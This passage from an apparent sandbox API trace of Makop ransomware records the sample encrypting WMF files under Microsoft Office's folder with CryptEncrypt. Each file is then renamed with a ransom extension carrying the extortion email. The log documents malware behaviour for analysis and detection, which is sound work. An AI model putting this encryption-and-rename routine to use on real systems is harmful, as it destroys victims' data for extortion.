dwBufLen=0x730 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x730) returned 1 [0166.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.273] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x730, lpOverlapped=0x0) returned 1 [0166.273] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.273] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.273] SetEndOfFile (hFile=0x130) returned 1 [0166.279] GetProcessHeap () returned 0x48a0000 [0166.279] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.279] GetProcessHeap () returned 0x48a0000 [0166.279] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.279] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.279] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18216_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18216_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18216_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.281] CloseHandle (hObject=0x130) returned 1 [0166.282] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ded1d00, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcbffbc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ded1d00, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1552, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18217_.WMF", cAlternateFileName="")) returned 1 [0166.282] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF") returned 70 [0166.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18217_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.284] GetProcessHeap () returned 0x48a0000 [0166.284] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.285] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.285] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.285] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0166.289] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.289] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.289] GetProcessHeap () returned 0x48a0000 [0166.289] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.289] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.289] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.289] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.289] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.289] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.290] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.290] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.290] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.290] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.290] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.290] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1552, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1552, lpOverlapped=0x0) returned 1 [0166.292] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1560, dwBufLen=0x1560 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1560) returned 1 [0166.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.292] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1560, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1560, lpOverlapped=0x0) returned 1 [0166.292] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.292] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1634, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.293] SetEndOfFile (hFile=0x130) returned 1 [0166.300] GetProcessHeap () returned 0x48a0000 [0166.300] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.300] GetProcessHeap () returned 0x48a0000 [0166.300] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.300] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.300] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18217_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18217_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18217_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.302] CloseHandle (hObject=0x130) returned 1 [0166.302] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fcec000, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8fcec000, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0x1212, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18218_.WMF", cAlternateFileName="")) returned 1 [0166.302] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF") returned 70 [0166.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.303] GetProcessHeap () returned 0x48a0000 [0166.304] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.304] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.304] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.304] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0166.318] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.318] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.318] GetProcessHeap () returned 0x48a0000 [0166.318] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.318] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.319] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.319] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.319] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.319] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.319] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.319] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.319] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.320] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.320] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.320] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1212, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1212, lpOverlapped=0x0) returned 1 [0166.321] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1220, dwBufLen=0x1220 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1220) returned 1 [0166.321] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.321] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1220, lpOverlapped=0x0) returned 1 [0166.322] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.322] SetEndOfFile (hFile=0x130) returned 1 [0166.329] GetProcessHeap () returned 0x48a0000 [0166.329] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.329] GetProcessHeap () returned 0x48a0000 [0166.329] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.329] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.329] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18218_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18218_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18218_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.331] CloseHandle (hObject=0x130) returned 1 [0166.331] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f247600, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4f247600, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x1136, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18219_.WMF", cAlternateFileName="")) returned 1 [0166.331] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF") returned 70 [0166.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18219_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.332] GetProcessHeap () returned 0x48a0000 [0166.332] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.333] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.333] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xa, lpOverlapped=0x0) returned 1 [0166.337] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.337] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.337] GetProcessHeap () returned 0x48a0000 [0166.337] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.337] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.337] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.337] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.337] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.337] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.338] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.338] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.338] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.338] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.338] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.338] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.338] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1136, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1136, lpOverlapped=0x0) returned 1 [0166.340] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1140, dwBufLen=0x1140 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1140) returned 1 [0166.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.340] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1140, lpOverlapped=0x0) returned 1 [0166.340] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.340] SetEndOfFile (hFile=0x130) returned 1 [0166.347] GetProcessHeap () returned 0x48a0000 [0166.347] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.347] GetProcessHeap () returned 0x48a0000 [0166.347] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.347] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.347] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18219_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18219_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18219_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.349] CloseHandle (hObject=0x130) returned 1 [0166.349] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2aadf500, ftCreationTime.dwHighDateTime=0x1bddca5, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2aadf500, ftLastWriteTime.dwHighDateTime=0x1bddca5, nFileSizeHigh=0x0, nFileSizeLow=0x213c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18220_.WMF", cAlternateFileName="")) returned 1 [0166.349] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF") returned 70 [0166.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18220_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.350] GetProcessHeap () returned 0x48a0000 [0166.350] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.351] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.351] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.351] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.355] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.355] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.355] GetProcessHeap () returned 0x48a0000 [0166.355] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.355] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.355] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.355] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.356] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.356] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.356] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.356] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.356] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.356] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.356] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, 